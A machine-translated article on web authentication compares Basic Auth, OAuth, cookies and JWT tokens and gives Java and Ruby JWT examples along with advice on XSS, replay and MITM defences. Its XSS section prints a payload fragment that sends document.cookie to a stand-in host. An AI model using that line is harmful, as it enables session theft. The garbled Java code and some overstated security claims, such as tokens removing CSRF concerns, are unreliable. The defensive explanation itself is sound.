Original: Token-based web background authentication mechanism
Several common authentication mechanisms HTTP Basic Auth
The HTTP basic Auth simple point description is to provide the user's username and password each time the API is requested, in short, Basic auth is the simplest authentication method to use with the restful API, just provide a username and password, However, due to the risk of exposing usernames and passwords to third-party clients, there is a growing use in the production environment. Therefore, when developing a restful API that is open to the outside, try to avoid using HTTP Basic Auth
Oauth
OAuth (Open Licensing) is an open licensing standard that allows a third-party app to access private resources (such as photos, videos, contact lists) that the user stores on a Web service without having to provide a user name and password to third-party apps.
OAuth allows users to provide a token instead of a user name and password to access their data stored in a particular service provider. Each token authorizes a specific third-party system (for example, a video editing site) to access a specific resource (for example, a video in only one album) within a specific period of time (for example, within the next 2 hours). In this way, OAuth allows users to authorize third-party websites to access certain information that they store in other service providers, rather than all content
The following is the OAuth2.0 process:
This OAuth-based authentication mechanism applies to personal consumer-class Internet products such as social apps, but is not suitable for enterprise applications with proprietary authentication rights management;
Cookie Auth
The cookie authentication mechanism is to create a session object on the server for a request authentication, and a cookie object is created on the client's browser side, and the cookie object is brought up by the client to match the session object in the terminal to implement state management. By default, cookies are deleted when we close the browser. However, you can make the cookie valid for a certain period by modifying the expire time of the cookie;
Token Auth
The benefits of Token Auth
What is the benefit of the token mechanism in relation to the cookie mechanism?
- support for cross-domain access : Cookies are not allowed to fall into the domain, this does not exist for the token mechanism, provided that the transmission of user authentication information through the HTTP header transmission.
- stateless (also known as: Server-side extensible line): The token mechanism does not need to store session information on the server because token itself contains information about all logged-in users, only the cookie on the client or the local media store state information.
- more suitable for CDN: You can request all the information on your server through the content distribution network (such as: javascript,html, pictures, etc.), and your server only provide the API.
- decoupling : There is no need to bind to a specific authentication scheme. Tokens can be generated anywhere, as long as your API is called, and you can make token generation calls.
- more suitable for mobile apps : When your client is a native platform (IOS, android,windows 8, etc.), cookies are not supported (you need to handle them through a cookie container), and it is much easier to use the token authentication mechanism.
- CSRF: Because you no longer rely on cookies, you don't have to think about CSRF (cross-site request forgery).
- Performance : One network round trip time (querying session information through a database) is always much longer than doing token validation and parsing of HMACSHA256 calculations.
- no special handling is required for the login page : If you use Protractor to do functional testing, you no longer need to do special processing for the login page.
- based on Standardization : Your API can use a standardized JSON Web Token (JWT). This standard already has multiple back-end libraries (. NET, Ruby, Java,python, PHP) and several company support (e.g. Firebase,google, Microsoft).
Implementation of token authentication mechanism based on JWT
The JSON Web Token (JWT) is a very lightweight specification. This specification allows us to use JWT to deliver secure and reliable information between the user and the server. Its
The composition of the JWT
A JWT is actually a string that consists of three parts, the head, the payload, and the signature.
Load (Payload)
{ "iss": "Online JWT Builder", "iat": 1416797419, "exp": 1448333419, "aud": "www.example.com", "sub": "[email protected]", "GivenName": "Johnny", "Surname": "Rocket", "Email": "[email protected]", "Role": [ "Manager", "Project Administrator" ] }
- ISS: The issuer of the JWT, whether the use is optional;
- Sub: The user to which the JWT is intended to use is optional;
- AUD: Whether the party receiving the JWT is used is optional;
- EXP (expires): When expires, here is a Unix timestamp, whether the use is optional;
- IAT (issued at): When issued (Unix time), whether the use is optional;
Others are:
- NBF (not before): If the current time is before the time in NBF, then token is not accepted, usually leaving some leeway, such as a few minutes, whether the use is optional;
The JSON object above is [base64 encoded] to get the following string. This string we call it the payload (load) of the JWT.
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
Tip: Base64 is a representation of binary data based on 64 printable characters. Since 2 of the 6 is equal to 64, every 6 bits is a unit, corresponding to a printable character. Three bytes have 24 bits, corresponding to 4 Base64 units, 3 bytes need to be represented by 4 printable characters. The JDK provides very handy Base64encoder and Base64decoder, which makes it easy to complete BASE64-based encoding and decoding
Head (header)
JWT also requires a head, which is used to describe the most basic information about the JWT, such as its type and the algorithm used to sign it. This can also be represented as a JSON object.
{"typ": "JWT","alg": "HS256"}
The signature algorithm in the head indicates the HS256 algorithm.
Of course the head is also BASE64 encoded, the encoded string is as follows:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
Signature (Signature)
Use a period for the two encoded strings above. Connected together (head in front), formed:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
Finally, we encrypt the string above the concatenation with the HS256 algorithm. In the encryption, we also need to provide a key (secret). If we use Mystar as the key, then we can get our encrypted content:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
Finally, this part of the signature is also stitched behind the signed string, and we get the full JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
This string of JWT strings will be taken in our request URL:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
Certification process
Let's look at an example of how to use the JWT mechanism for authentication:
Login
- First authentication: The first login, the user input user name/password from the browser, submitted to the server after the login processing action layer (login action);
- Login action invokes authentication service for username and password authentication, if authentication is passed, login action layer invokes user information service to obtain user information (including complete user information and corresponding permission information);
- After returning the user information, Login action obtains the secret key information generated from the token signature from the configuration file for token generation;
- The third-party JWT Lib can be called to generate the signed JWT data during token generation;
- After the JWT data signature is completed, it is set to the cookie object and redirected to the homepage to complete the login process;
Request authentication
Token-based authentication mechanisms carry the token information that is signed on each request, and this token information may be in the cookie
may also be in the authorization header of HTTP;
- The client (app client or browser) accesses the resource (page or call API) through a GET or POST request;
- The authentication service intercepts the request as a middleware HOOK, first finds the token information in the cookie, and if not found, finds it in the HTTP Authorization head;
- If the token information is found, the token information is decrypted and decoded by calling JWT Lib according to the signature encryption key in the configuration file.
- After completing the decoding and verifying the signature, the EXP, NBF, AUD and other information in token are verified.
- After all, according to the access information of the user's role, the logical judgment of the permission of the requested resource;
- If the permission logic is passed then the response object is returned; otherwise, HTTP 401 is returned;
Five-point recognition of token certification
There are 5 points of direct attention to the token authentication mechanism:
- A token is a collection of information;
- Include enough information in token to reduce the chance of querying the database in subsequent requests;
- The server needs to check the token information of the cookie and HTTP authrorization header;
- Based on the previous point, you can use a set of token authentication code to face the browser class client and non-browser class client;
- Because token is signed, we can assume that a token that can be decoded is issued by our system, and that the information contained therein is lawful and valid;
The Java implementation of JWT
Support for JWT in Java can be considered using the JJWT open Source Library; JJWT implements the JWT, JWS, JWE, and JWA RFC specifications; Here's a simple example of how it's used:
Generate token Code
Import Javax.crypto.spec.secretkeyspec;import Javax.xml.bind.datatypeconverter;import Java.security.Key;import Io.jsonwebtoken.*;import java.util.Date; Sample method to construct a JWT private string CREATEJWT (string id, string issuer, string subject, long Ttlmillis) {// The JWT signature Algorithm we'll be a using to sign the tokensignaturealgorithm Signaturealgorithm = SignatureAlgorithm.H S256; Long Nowmillis = System.currenttimemillis ();D ate now = new Date (nowmillis); We'll sign our JWT with our ApiKey secretbyte[] apikeysecretbytes = datatypeconverter.parsebase64binary (apikey.getsec RET ()); Key Signingkey = new Secretkeyspec (apikeysecretbytes, Signaturealgorithm.getjcaname ()); Let's set the JWT claimsjwtbuilder builder = Jwts.builder (). SetId (ID). Setissuedat (now) . Setsubject (subject). Setissuer (Issuer) . Signwith (Signaturealgorithm, Signingkey); IF It has been specified, let's add the expirationif (ttlmillis >= 0) {Long Expmillis = Nowmillis + ttlmillis; Date exp = new Date (expmillis); Builder.setexpiration (exp);} Builds the JWT and serializes it to a compact, Url-safe Stringreturn builder.compact ();}
Decoding and validating token codes
import javax.xml.bind.DatatypeConverter;import io.jsonwebtoken.Jwts;import io.jsonwebtoken.Claims; //Sample method to validate and read the JWTprivate void parseJWT(String jwt) {//This line will throw an exception if it is not a signed JWS (as expected)Claims claims = Jwts.parser() .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret())) .parseClaimsJws(jwt).getBody();System.out.println("ID: " + claims.getId());System.out.println("Subject: " + claims.getSubject());System.out.println("Issuer: " + claims.getIssuer());System.out.println("Expiration: " + claims.getExpiration());}
The security of JWT-based token authentication ensures the security of the verification process
How to ensure the security of the user name/password verification process, because during the verification process, users are required to enter a user name and password, in this process, the user name, password and other sensitive information needs to be transmitted over the network. Therefore, it is recommended to use HTTPS in this process to encrypt the transmission over SSL to ensure the security of the channel.
How to prevent XSS Attacks
Browsers can do a lot of things, which also brings many hidden dangers to the security of the browser, the most common such as: XSS attack: Cross Site Scripting Attack (Scripting), if there is a page in the input box to allow the input of any information, and do not take precautions, if we enter the following code:
a.src='https://hackmeplz.com/yourCookies.png/?cookies=’+document.cookie;return a}())"
This code will steal all the cookie information from your domain and send it to hackmeplz.com, so how do we protect against this attack?
- XSS Attack Code filtering
Remove any code that will cause the browser to do unintended execution, which can be implemented using a few libraries (such as the Twig under the XSS under Js-xss,java under JS htmlfilter,php); If you are storing user-submitted strings in a database (also for SQL injection attacks) , you need to filter on the front end and the service side separately;
- Using Http-only Cookies
By setting the parameters of the cookie: httponly; Secure to prevent access to cookies through JavaScript;
How to set a cookie in Java is HttpOnly?
The Servlet 2.5 API does not support cookie settings HttpOnly
http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
Recommended upgrade Tomcat7.0, it has been implemented Servlet3.0
Http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
Or you can set it by:
//设置cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");//设置多个cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");//设置https的cookieresponse.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
In actual use, we can make firecookie to see if the cookie we set is HttpOnly;
How to prevent replay Attacks
The so-called replay attack is an attacker sends a destination host has received packets, to achieve the purpose of deception system, mainly for the identity authentication process. For example, in the browser side through the user name/password authentication to get signed tokens by Trojan theft. Even if the user logged out of the system, the hacker can still use the stolen token to simulate the normal request, and the server side is completely unaware that the JWT mechanism is stateless.
There are several common practices that can be used as a reference for this scenario:
1. Timestamp + shared secret key
For this scenario, both the client and the server need to know:
- User ID
- Shared secret key
Client
auth_header = JWT.encode({ user_id: 123, iat: Time.now.to_i, # 指定token发布时间 exp: Time.now.to_i + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;}, "<my shared secret>")RestClient.get("http://api.example.com/", authorization: auth_header)
Service side
class ApiController < ActionController::Base attr_reader :current_user before_action :set_current_user_from_jwt_token def set_current_user_from_jwt_token # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查 # the signature. Note JWT tokens are *not* encrypted, but signed. payload = JWT.decode(request.authorization, nil, false) # Step 2: 检查该用户是否存在于数据库 @current_user = User.find(payload['user_id']) # Step 3: 检查Token签名是否正确. JWT.decode(request.authorization, current_user.api_secret) # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的. now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 如果过期则返回401 end rescue JWT::DecodeError # 返回 401 endend
2, timestamp + shared secret key + blacklist (similar to Zendesk's practice)
Client
auth_header = JWT.encode({ user_id: 123, jti: rand(2 << 64).to_s, # 通过jti确保一个token只使用一次,防止replace attack iat: Time.now.to_i, # 指定token发布时间. exp: Time.now.to_i + 2 # 指定token过期时间为2秒后}, "<my shared secret>")RestClient.get("http://api.example.com/", authorization: auth_header)
Service side
def set_current_user_from_jwt_token # 前面的步骤参考上面 payload = JWT.decode(request.authorization, nil, false) @current_user = User.find(payload['user_id']) JWT.decode(request.authorization, current_user.api_secret) now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 返回401 end # 下面将检查确保这个JWT之前没有被使用过 # 使用Redis的原子操作 # The redis 的键: <user id>:<one-time use token> key = "#{payload['user_id']}:#{payload['jti']}" # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. . if redis.getset(key, "1") # 返回401 # end # 进行键值过期检查 redis.expireat(key, payload['exp'] + 2)end
How to prevent MITM (man-in-the-middle) Attacks
The so-called MITM attack, is the client and server side of the interaction process is monitored, such as internet cafes like the wifi is monitored or hacked proxy server, etc.;
The use of HTTPS for this type of attack, including for distributed applications, also uses HTTPS to transfer sensitive information such as cookies between services, so cloud computing is inherently unsafe.
Reference directory:
Https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
Https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
Https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/
Token-based web background authentication mechanism